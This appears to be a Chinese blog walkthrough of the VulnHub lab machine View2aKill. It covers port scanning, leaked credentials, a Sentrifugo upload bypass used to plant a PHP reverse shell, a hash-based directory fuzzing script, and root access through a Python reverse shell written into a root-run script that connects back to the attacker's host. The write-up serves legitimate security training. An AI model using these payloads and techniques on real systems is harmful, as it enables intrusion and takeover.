vulnhub靶机渗透[View2aKill]

名称

名称:View2aKill:1
发布日期:2019年10月29日

下载

  • Download: https://drive.google.com/file/d/1Mi2rE0uffq7MPSve3_trnUtxln4HgKy_/view
  • Download (Mirror): https://download.vulnhub.com/view2akill/View2aKill.ova
  • Download (Torrent): https://download.vulnhub.com/view2akill/View2aKill.ova.torrent

描述

使命:百万富翁的精神病学家Max Zorin是破坏硅谷计划的幕后策划者,该计划旨在夺取国际微芯片市场的控制权。root并阻止这个疯子实现目标!

  • 难度:中级
  • flag是/root/flag/flag.sh
  • 在VMware中使用。启用DHCP。
  • 学习目标:Web应用程序安全性,脚本,Linux枚举等。

顺带说一句,这个靶机的背景图挺酷的。。。

信息收集

上nmap

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
root@kali:~# nmap -sn -v 192.168.56.0/24
Nmap scan report for 192.168.56.112
Host is up (0.00024s latency).
MAC Address: 08:00:27:B0:44:15 (Oracle VirtualBox virtual NIC)

root@kali:~# nmap -p- -sV -Pn -v 192.168.56.112
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
25/tcp open smtp Postfix smtpd
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
8191/tcp open http PHP cli server 5.5 or later

root@kali:~# nmap -sC -v -A -Pn -p 22,25,80,8191 -sV 192.168.56.112
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 54:8e:3a:14:b2:be:03:5c:d4:08:3a:ed:bb:e1:55:53 (RSA)
| 256 aa:be:cb:e1:b6:7f:47:75:29:f7:63:e5:f9:39:78:2e (ECDSA)
|_ 256 de:1c:31:e0:15:4d:f5:dc:8e:bc:3c:e4:7d:64:75:54 (ED25519)
25/tcp open smtp Postfix smtpd
|_smtp-commands: rain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8,
| ssl-cert: Subject: commonName=rain
| Subject Alternative Name: DNS:rain
| Issuer: commonName=rain
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2019-07-22T22:11:20
| Not valid after: 2029-07-19T22:11:20
| MD5: 04a9 b97a 8bf2 dc6b 02f2 382b 075b 2e51
|_SHA-1: a4e5 f2f5 efbf 5a3a 215a 9c96 6f9d 10f4 a94e 85bb
|_ssl-date: TLS randomness does not represent time
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-methods:
|_ Supported Methods: HEAD GET POST OPTIONS
| http-robots.txt: 4 disallowed entries
|_/joomla /zorin /dev /defense
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: A View To A Kill
8191/tcp open http PHP cli server 5.5 or later
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: electronic controller app

查看端口80登陆apache默认页面。检查robots.txt显示了几个目录。检查每一个

1
2
3
4
5
User-agent: *
Disallow: /joomla
Disallow: /zorin
Disallow: /dev
Disallow: /defense

/joomla播放一个webm文件,/zorin好像是有关公司和员工登录信息的信息。./dev是一个打开的目录,其中包含文件和备份文件的列表,因此我将必须检查所有文件,/defense也会播放一个webm文件。

返回/zorin并单击HR boarding。发现有一个用于人力资源管理的/sentrifugo和一个有趣的注释

进入/sentrifugo这是一个登录页面。但没有任何用户名或密码开始。所以从/dev open目录及其中的文件开始,这可能会导致某些问题。并且确定文件e_bkup.tar.gz是否包含登录信息。

压缩包里面有几个文件分别储存了下面的内容

New_Employee_Onboarding_Chuck.rtf:

1
Greeting Chuck, We welcome you to the team! Please login to our HR mgmt portal(which we spoke of) and fill out your profile and Details. Make sure to enter in the descrption of your CISSP under Training & Certificate Details since you mentioned you have it. I will be checking that section often as I need to fill out related paperwork. Login username: chuck@localhost.com and password is the lowercase word/txt from the cool R&D video I showed you with the remote detonator + the transmit frequency of an HID proxcard reader - so password format example: facility007. Sorry for the rigmarole, the Security folks will kill me if I send passwords in clear text. We make some really neat tech here at Zorin, glad you joined the team Chuck Lee! 

note_to_mail_admins.txt:

1
Yo, wassup computer geeks! I was told by design to upload a few example emails for you nerds to work with in prep for what they called "email web gooey platform".  

onboarding_email_template.rtf:

1
Greeting EMPLOYEE, We welcome you to the team! Please login to our HR mgmt portaland fill out your profile and Details. Login username: USERNAME@localhost.com and password is: PASSWORD. INSERT ORG SPECIFIC PHRASE, glad you joined the team EMPLOYEE! 

Stop_Storing_Passwords.rtf:

1
All, I know you're close with Max, but you can't keep storing your credentials in txt files on your desktop! We already have had complaints of the apps inactivity auto logout feature, but 5 seconds is high enough in my professional opinion. Simply copy pasting credentials in the login fields is bad practice, even if password requirments are set to 32 characters minimun! - Scarpine - Head of Security - CSO CIO

所以现在知道用户名是chuck@localhost.com,知道密码应该是什么。所以继续尝试连接有关密码的所有部分。在该打开的目录中,有一个名为remote_control.gif的文件。其中显示单词HELICOPTER的文件,还有一个名为HID6005.pdf的文件,在规范部分,发送频率为125kHz。helicopter125应该是密码!并且肯定是的。

能够登录到人力资源管理。找不到任何有趣的东西,所以决定寻找sendrifugo漏洞,并且有几对我将使用exploitdb列出的第一个漏洞Sentrifugo-3-2-File-Upload-Restriction-Bypass

发现可以在收据下的“费用”部分上传某些类型的文件。将php-reverse-shell文件重命名为phpreverseshell1.php.doc并上传,并用burp拦截了将文件名更改为phpreverseshell1.php的请求。

访问下面的url,成功弹回shell

1
http://192.168.56.112/sentrifugo/public/uploads/expenses_receipts/1579806690_3_phpreverseshell1.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
root@kali:~# nc -lvp 5566
listening on [any] 5566 ...
192.168.56.112: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.112] 55570
Linux view 4.15.0-66-generic #75-Ubuntu SMP Tue Oct 1 05:24:09 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
19:12:10 up 1:23, 0 users, load average: 0.00, 0.02, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ whoami
www-data
$ pwd
/
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@view:/$

在/home/jenny目录下发现一个压缩包,将它下载下来看看里面有什么

1
2
3
4
5
6
www-data@view:/home/jenny$ ls
ls
dsktp_backup.zip
www-data@view:/home/jenny$ python -m SimpleHTTPServer
python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

passswords.txt:

1
2
3
4
5
6
7
hr mgmt - NO ACCESS ANYMORE
jenny@localhost.com
ThisisAreallYLONGPAssw0rdWHY!!!!

ssh
jenny
!!!sfbay!!!
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
root@kali:~# ssh jenny@192.168.56.112
Enter passphrase for key '/root/.ssh/id_rsa':
jenny@192.168.56.112's password:
Welcome to Ubuntu 18.04.1 LTS (GNU/Linux 4.15.0-66-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage

System information as of Thu Jan 23 19:58:43 UTC 2020

System load: 0.0 Processes: 206
Usage of /: 65.0% of 11.75GB Users logged in: 0
Memory usage: 50% IP address for enp0s17: 192.168.56.112
Swap usage: 0%


* Canonical Livepatch is available for installation.
- Reduce system reboots and improve kernel security. Activate at:
https://ubuntu.com/livepatch

181 packages can be updated.
0 updates are security updates.

Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings


Last login: Thu Jan 23 19:42:33 2020 from 192.168.56.102
jenny@view:~$ id
uid=1007(jenny) gid=1007(jenny) groups=1007(jenny)
jenny@view:~$ whoami
jenny

todo.txt:

1
2
3
4
5
6
7
8
9
10
11
TODO

-Give feedback to marketing on logo (it currently looks like the banner ouside a cheap Italian reseaurant!!)
-The Boss likes the original, so I guess we're keeping it :/
-Push final script to /home/max/aView.py
-Waiting on devs and mechanical eng. to finalize programs (no way for QA to test this one! Yikes!)
-Verify James Bond is MI6. They may be on to us.
-Security says they are trying to infltrate our servers, so they pushed out a new password policy.
-Head of Security said this policy will solve all security related problems after I confronted him about it.
-Make a habit of deleting pointless emails.
-Migrate needed desktop items to Linux server.

进入max目录下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
www-data@view:/home$ cd max
cd max
www-data@view:/home/max$ ls
ls
aView.py note.txt
www-data@view:/home/max$ cat note.txt
cat note.txt
Max,

The electronic controller web application you asked for is almost done. Located on port 8191 this app will allow you to execute your plan from a remote location.

The remote trigger is located in a hidden web directory that only you should know - I verbally confirmed it with you. If you do not recall, the directory is based on an algorithm: SHA1(lowercase alpha(a-z) + "view" + digit(0-9) + digit(0-9)).

Example: SHA1(rview86) = 044c64c6964998ccb62e8facda730e8307f28de6 = http://<ip>:8191/044c64c6964998ccb62e8facda730e8307f28de6/

- Scarpine
www-data@view:/home/max$ cat aView.py
cat aView.py
cat: aView.py: Permission denied

从note.txt了解到需要编写python脚本进行模糊测试

fuzzv2akill.py

1
2
3
4
5
6
7
8
9
10
11
12
13
#!/usr/bin/env python3

from hashlib import sha1

prefixes = [bytes([c]) for c in range(ord('a'), ord('z') + 1)]
xs = range(10)
ys = range(10)
suffixes = [bytes(f'{x}{y}', 'ascii') for x in xs for y in ys]
names = [prefix + b'view' + suffix + b'\n' for prefix in prefixes for suffix in suffixes]
hashes = [sha1(n).hexdigest() for n in names]

for has in hashes:
print(has)

使用dirb+fuzzv2akill.py进行模糊测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
root@kali:~# dirb http://192.168.56.112:8191 <(python3 fuzzv2akill.py) -z 250

-----------------
DIRB v2.22
By The Dark Raver
-----------------

START_TIME: Thu Jan 23 08:23:48 2020
URL_BASE: http://192.168.56.112:8191/
WORDLIST_FILES: /dev/fd/63
SPEED_DELAY: 250 milliseconds

-----------------

GENERATED WORDS: 2600

---- Scanning URL: http://192.168.56.112:8191/ ----
+ http://192.168.56.112:8191/13fabf2bcd385cf87939748490f6a96955212567 (CODE:200|SIZE:147)
+ http://192.168.56.112:8191/d0fa319a11ef644862edf51b9177b9d62a1e6650 (CODE:200|SIZE:133)
+ http://192.168.56.112:8191/ece8236b92964611c75c759bb8c2297e3b962903 (CODE:200|SIZE:119)
+ http://192.168.56.112:8191/7f98ca7ba1484c66bf09627f931448053ae6b55a (CODE:200|SIZE:815)
+ http://192.168.56.112:8191/fa05b73405e2996c69ad78ed1fa0f24b9da965ac (CODE:200|SIZE:119)
+ http://192.168.56.112:8191/af92fb801e526655686899ae8341b9e7cfa21ea0 (CODE:200|SIZE:119)
+ http://192.168.56.112:8191/f871c18649e03d2e9cd7414b95cde578f23dba8d (CODE:200|SIZE:147)
+ http://192.168.56.112:8191/0f3c6dc226621deac4d0a66e0f60785d923fc282 (CODE:200|SIZE:119)
+ http://192.168.56.112:8191/03388bdd6c0ba6a112b0f0d3aca2f3775be0a007 (CODE:200|SIZE:119)
+ http://192.168.56.112:8191/ef1cacc0f3b5aea1a0d56c5df4263580e7b23570 (CODE:200|SIZE:133)
+ http://192.168.56.112:8191/e57019d9886a12e8c27d9d3f4e46fac9603e8bc2 (CODE:200|SIZE:147)
+ http://192.168.56.112:8191/de5eb20114e281e2e514a64d98187d6f30c3c9b4 (CODE:200|SIZE:119)
+ http://192.168.56.112:8191/e7642454c8c6047fd883a859580a0723657fcf45 (CODE:200|SIZE:115)
+ http://192.168.56.112:8191/ad3029ea9d74ebcbde60ec9abaf95ac6eed95490 (CODE:200|SIZE:119)
+ http://192.168.56.112:8191/5a96f2b44b310535334d2b99258db5ea3eadd448 (CODE:200|SIZE:147)
+ http://192.168.56.112:8191/dd0cdfeb376f8e96d2325724eb000588c8cf70f5 (CODE:200|SIZE:119)
+ http://192.168.56.112:8191/d7297045329f04a3bb4b35e629407343868820d4 (CODE:200|SIZE:147)
+ http://192.168.56.112:8191/72fd79c962996b32fc4b0a2a0c5c1b6b1aa860d4 (CODE:200|SIZE:119)
+ http://192.168.56.112:8191/8eb11aa78f52090f8c32f81797e561d7fbd29fd7 (CODE:200|SIZE:147)
+ http://192.168.56.112:8191/f174b138d930be79ab383669319aecbdde70af6a (CODE:200|SIZE:119)
+ http://192.168.56.112:8191/2cfc36dfe3e7f20faa2ad9bc2091c25387844adf (CODE:200|SIZE:133)
+ http://192.168.56.112:8191/7c7b00a0a30137eaac46b32aaec2f9668d6a10d5 (CODE:200|SIZE:119)

-----------------
END_TIME: Thu Jan 23 08:34:44 2020
DOWNLOADED: 2600 - FOUND: 22

然后将结果一个个的尝试,找到正确的url结果是:

1
http://192.168.56.112:8191/7f98ca7ba1484c66bf09627f931448053ae6b55a

点击按钮

记得在jenny主目录中有一个todo.txt文件,其中提到将最终脚本到/home/max/aView.py。所以转到该文件并对其进行了修改,使其在端口4444上获得了python reverse shell。在端口4444上启动了netcat监听器,然后再次返回该站点并再次单击execute按钮,然后我获得了root

1
2
3
4
5
6
7
8
9
10
11
12
#!/usr/bin/python
#
# executed from php app add final wrapper/scirpt here
import socket, subprocess, os

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("192.168.56.102", 4444))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)

p = subprocess.call(["/bin/sh", "-i"])

返回了root权限的shell:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
root@kali:~# nc -lvp 4444
listening on [any] 4444 ...
192.168.56.112: inverse host lookup failed: Host name lookup failure
connect to [192.168.56.102] from (UNKNOWN) [192.168.56.112] 43356
/bin/sh: 0: can't access tty; job control turned off
# id
uid=0(root) gid=0(root) groups=0(root)
# whoami
root
# ls
index.html
notes.txt
run.php
view11.gif
# pwd
/root/destroy/7f98ca7ba1484c66bf09627f931448053ae6b55a
1
2
3
4
5
6
7
8
# cd flag
# ls
files
index.php
run_me_for_flag.sh
# pwd
/root/flag
#

在/root/flag目录下发现run_me_for_flag.sh脚本,先查看它的内容,然后运行它

1
2
3
4
5
6
7
8
9
10
11
# cat run_me_for_flag.sh
#!/bin/bash
#
#
#
echo "-------------------------------"
echo "-------------------------------"
echo "Go here: http://<ip>:8007"
echo "-------------------------------"
echo "-------------------------------"
cd /root/flag;php -S 0.0.0.0:8007
1
2
3
4
5
6
# ./run_me_for_flag.sh
-------------------------------
-------------------------------
Go here: http://<ip>:8007
-------------------------------
-------------------------------

然后访问

1
http://192.168.56.112:8007/

得到最后的flag,还能点击播放背景音乐

知识点总结

  • 登陆密码泄露
  • python脚本模糊测试
  • python reverse shell

Game over

不好意思,这次还是没有找到希腊某位大佬的傻瓜式一键通关脚本,i am so sorry about this…It’s a pity…

The end,to be continue…